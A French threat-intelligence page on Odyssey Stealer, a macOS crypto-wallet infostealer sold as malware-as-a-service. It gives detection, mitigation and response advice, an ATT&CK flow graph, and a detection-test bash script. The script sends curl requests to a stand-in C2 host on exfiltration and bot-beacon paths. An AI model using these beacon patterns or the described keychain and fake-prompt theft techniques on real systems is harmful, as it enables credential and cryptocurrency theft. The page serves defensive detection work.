Odyssey Stealer : À l’intérieur d’une opération de vol de cryptomonnaies sur macOS
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Odyssey Stealer est un logiciel malveillant de type infostealer pour macOS, axé sur les portefeuilles de cryptomonnaie et les extensions. Il est commercialisé comme une plateforme de Malware-as-a-Service où les affiliés louent l’accès à un C2 centralisé et un panneau d’administration. La livraison repose généralement sur un AppleScript obfusqué qui installe un LaunchDaemon persistant qui interroge le C2 pour obtenir des commandes. L’opérateur peut également remplacer les applications Ledger et Trezor légitimes par des versions trojanisées pour capturer les identifiants et les données de transaction.
Investigation
Les chercheurs ont pris l’empreinte du C2 en utilisant des balises meta HTML uniques, des signatures de page et un hash de favicon partagé. Ils ont cartographié dix hôtes physiques à travers plusieurs clusters ASN, principalement en Europe et aux Pays-Bas. L’analyse des charges utiles a révélé un dropper AppleScript en plusieurs étapes, une persistance via LaunchDaemon, et un binaire proxy SOCKS5 compilé en Go. Les données de configuration intégrées dans le dropper ont révélé des identifiants d’affiliés et des ID de compilation.
Atténuation
Surveillez les activités osascript suspectes, notamment les longues chaînes obfusquées, les fichiers plist de LaunchDaemon inconnus avec des étiquettes aléatoires, et les requêtes POST sortantes vers les points de terminaison « /log ». Alertez sur les binaires lancés par LaunchDaemon et les activités SOCKS5 suspectes. Vérifiez la signature de code pour les applications Ledger et Trezor, et bloquez les domaines et adresses IP C2 connus. Apprenez aux utilisateurs à traiter les demandes de mot de passe inattendues et les « mises à jour de portefeuille » comme étant à haut risque.
Réponse
Lors de la détection, isolez le système, terminez le LaunchDaemon malveillant, et retirez les applications de portefeuille trojanisées. Capturez le trafic réseau vers les domaines et IP C2 identifiés pour enquête, puis réinitialisez les identifiants de cryptomonnaie exposés et tournez les mots de passe macOS. Effectuez un examen médico-légal complet pour identifier des artefacts supplémentaires.
« graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions action_initial_access_phishing[« <b>Action</b> – <b>T1566 Phishing</b>: Lien malveillant délivré par courriel ou publicité malveillante<br/><b>Description</b>: L’attaquant obtient un accès initial en trompant l’utilisateur pour qu’il clique sur un lien. »] class action_initial_access_phishing action action_user_execution_malicious_link[« <b>Action</b> – <b>T1204.001 Exécution Utilisateur: Lien Malveillant</b>: La victime clique sur le lien et lance un dropper AppleScript<br/><b>Description</b>: L’exécution de code se produit après l’interaction de l’utilisateur. »] class action_user_execution_malicious_link action action_execution_obfuscation[« <b>Action</b> – <b>T1027 Fichiers ou Informations Obfusqués</b>: Charge utile AppleScript obfusquée exécutée via osascript<br/><b>Description</b>: Masque le code malveillant pour échapper à la détection. »] class action_execution_obfuscation action action_cred_gui_capture[« <b>Action</b> – <b>T1056.002 Capture d’Entrée: GUI</b>: Fenêtre de mot de passe macOS factice qui capture les identifiants administratifs<br/><b>Description</b>: Vole des identifiants via une usurpation d’interface utilisateur. »] class action_cred_gui_capture action action_cred_browser_stores[« <b>Action</b> – <b>T1555.003 Identifiants des Navigateurs Web</b>: Extrait les cookies, mots de passe et données de portefeuille crypto depuis Chrome, Edge et Firefox<br/><b>Description</b>: Récolte les identifiants web stockés. »] class action_cred_browser_stores action action_cred_keychain[« <b>Action</b> – <b>T1555.005 Identifiants des Gestionnaires de Mots de Passe</b>: Lit les mots de passe stockés depuis le trousseau macOS<br/><b>Description</b>: Accède aux données du gestionnaire de mots de passe. »] class action_cred_keychain action action_cred_securityd[« <b>Action</b> – <b>T1555.002 Identifiants depuis la Mémoire de securityd</b>: Emploi la mémoire du processus securityd pour les identifiants<br/><b>Description</b>: Récupère le matériel d’identification depuis la mémoire du processus. »] class action_cred_securityd action action_priv_esc_valid_accounts[« <b>Action</b> – <b>T1078 Comptes Valides</b>: Utilise un mot de passe d’administrateur capturé pour obtenir des droits élevés<br/><b>Description</b>: Obtient des privilèges plus élevés avec des identifiants légitimes. »] class action_priv_esc_valid_accounts action action_persistence_launchdaemon[« <b>Action</b> – <b>T1543.004 Démon de Lancement</b>: Installe com.random.plist LaunchDaemon pour l’interrogation périodique du C2<br/><b>Description</b>: Persiste en créant un démon de lancement. »] class action_persistence_launchdaemon action action_discovery_browser[« <b>Action</b> – <b>T1217 Découverte d’Informations du Navigateur</b>: Énumère les navigateurs installés et les extensions de portefeuille<br/><b>Description</b>: Rassemble des informations sur l’environnement de navigation de la victime. »] class action_discovery_browser action action_collection_archive[« <b>Action</b> – <b>T1560 Archivage des Données Collectées</b>: Compresse les fichiers volés dans une archive ZIP<br/><b>Description</b>: Emballe les données pour exfiltration. »] class action_collection_archive action action_exfil_automated[« <b>Action</b> – <b>T1020 Exfiltration Automatisée</b>: Envoie l’archive ZIP au point de terminaison /log<br/><b>Description</b>: Envoie les données collectées via HTTP. »] class action_exfil_automated action action_c2_webservice[« <b>Action</b> – <b>T1102 Service Web</b>: Communique avec C2 utilisant les points de terminaison HTTP GET et POST<br/><b>Description</b>: Utilise des services web pour la commande et contrôle. »] class action_c2_webservice action action_c2_dead_drop[« <b>Action</b> – <b>T1102.001 Déposer Résolveur Mort</b>: Récupère les charges utiles depuis les URL /d/…<br/><b>Description</b>: Utilise un emplacement de dépôt mort pour obtenir des commandes. »] class action_c2_dead_drop action action_c2_external_proxy[« <b>Action</b> – <b>T1090.002 Proxy Externe</b>: Télécharge et exécute un proxy SOCKS5 compilé Go pour le tunnel de trafic<br/><b>Description</b>: Reroute le trafic C2 via un proxy externe. »] class action_c2_external_proxy action %% Connections action_initial_access_phishing u002du002d>|conduit_à| action_user_execution_malicious_link action_user_execution_malicious_link u002du002d>|déclenche| action_execution_obfuscation action_execution_obfuscation u002du002d>|permet| action_cred_gui_capture action_cred_gui_capture u002du002d>|fournit| action_cred_browser_stores action_cred_browser_stores u002du002d>|ajoute| action_cred_keychain action_cred_keychain u002du002d>|ajoute| action_cred_securityd action_cred_securityd u002du002d>|donne| action_priv_esc_valid_accounts action_priv_esc_valid_accounts u002du002d>|permet| action_persistence_launchdaemon action_persistence_launchdaemon u002du002d>|permet| action_discovery_browser action_discovery_browser u002du002d>|alimente| action_collection_archive action_collection_archive u002du002d>|prépare| action_exfil_automated action_exfil_automated u002du002d>|utilise| action_c2_webservice action_c2_webservice u002du002d>|utilise| action_c2_dead_drop action_c2_dead_drop u002du002d>|soutient| action_c2_external_proxy «
Flux d’Attaque
Détections
Archivage des Données d’Application Support sur MacOS Shell (via cmdline)
Voir
MacOS Osascript Lançant Curl (via cmdline)
Voir
MacOS Shell Écriture dans le Répertoire LaunchDaemons (via file_event)
Voir
IOC (SourceIP) pour détecter : Odyssey Stealer : Opération de vol de crypto sur macOS
Voir
IOC (DestinationIP) pour détecter : Odyssey Stealer : Opération de vol de crypto sur macOS
Voir
IOC (HashSha256) pour détecter : Odyssey Stealer : Opération de vol de crypto sur macOS
Voir
IOC (HashMd5) pour détecter : Odyssey Stealer : Opération de vol de crypto sur macOS
Voir
Détection du Point de Terminaison C2 Odyssey Stealer [Serveur Web]
Voir
Odyssey Stealer: Détection d’AppleScript Obfusqué et de l’Utilisation de Curl [Création de Processus Linux]
Voir
Exécution de Simulation
Prérequis : Le Contrôle Téléphonique & Baseline Avant Vol doit avoir réussi.
-
Narration de l’Attaque & Commandes :
Un adversaire a déployé l’Odyssey Stealer sur une station de travail macOS. Après avoir compromis l’utilisateur, le logiciel malveillant initie un balisage vers son serveur C2 pour télécharger des charges utiles supplémentaires et exfiltrer les données collectées. Le balisage utilise le binaire natifcurlbinaire (binaire Apple signé) pour émettre des requêtes HTTP GET vers les points de terminaison C2 définis dans la règle. L’attaquant choisit ces chemins URI spécifiques car ils sont courts, se fondent dans le trafic web typique et évitent la détection par les solutions de filtrage d’URL génériques.Étapes :
- Résoudre le nom d’hôte C2 (simulé comme
c2.odyssey.example.com). - Emettre une requête GET vers
/d/aff123456– imite le point de terminaison d’exfiltration de données avec un code affilié aléatoire et un jeton numérique. - Emettre une requête GET vers
/api/v1/bot/– simule le battement de gestion des bots. - Optionnellement, envoyer une requête à
/logpour émuler le trafic de journalisation interne utilisé par le logiciel malveillant pour le rapport d’état.
- Résoudre le nom d’hôte C2 (simulé comme
-
Script de Test de Régression : Le script bash suivant reproduit exactement le trafic nécessaire pour déclencher la règle de détection.
#!/usr/bin/env bash # Simulation de balisage C2 Odyssey Stealer pour la validation de détection # Exigences : curl, proxy réseau configuré selon les étapes de pré-vol C2_HOST="c2.odyssey.example.com" PROXY_HOST="127.0.0.1:3128" # ajuster à votre adresse proxy Squid # Fonction pour envoyer une requête via le proxy send_request() { local path=$1 echo "[*] Envoi de la requête à https://${C2_HOST}${path} via le proxy ${PROXY_HOST}" curl -x "$PROXY_HOST" -s -o /dev/null "https://${C2_HOST}${path}" } # 1. Point de terminaison d'exfiltration des données (affilié aléatoire + chiffres) AFFILIATE="aff$(shuf -i 1000-9999 -n 1)" DIGITS=$(shuf -i 10000-99999 -n 1) send_request "/d/${AFFILIATE}${DIGITS}" # 2. Battement de gestion des bots send_request "/api/v1/bot/" # 3. Point de terminaison de journalisation optionnel send_request "/log" echo "[+] Simulation complète. Vérifiez les alertes dans le SIEM."Enregistrez le script comme
odyssey_beacon.sh, rendez-le exécutable (chmod +x odyssey_beacon.sh), et exécutez-le sur l’hôte de test macOS. -
Commandes de Nettoyage : Supprimez tous les fichiers temporaires et désactivez éventuellement le proxy pour l’utilisateur de test.
# Désactiver les paramètres du proxy pour l'interface Wi‑Fi networksetup -setwebproxystate "Wi-Fi" off networksetup -setsecurewebproxystate "Wi-Fi" off # (Optionnel) Arrêter Squid s'il a été démarré uniquement pour ce test # brew services stop squid echo "Paramètres du proxy restaurés et Squid arrêté (le cas échéant)."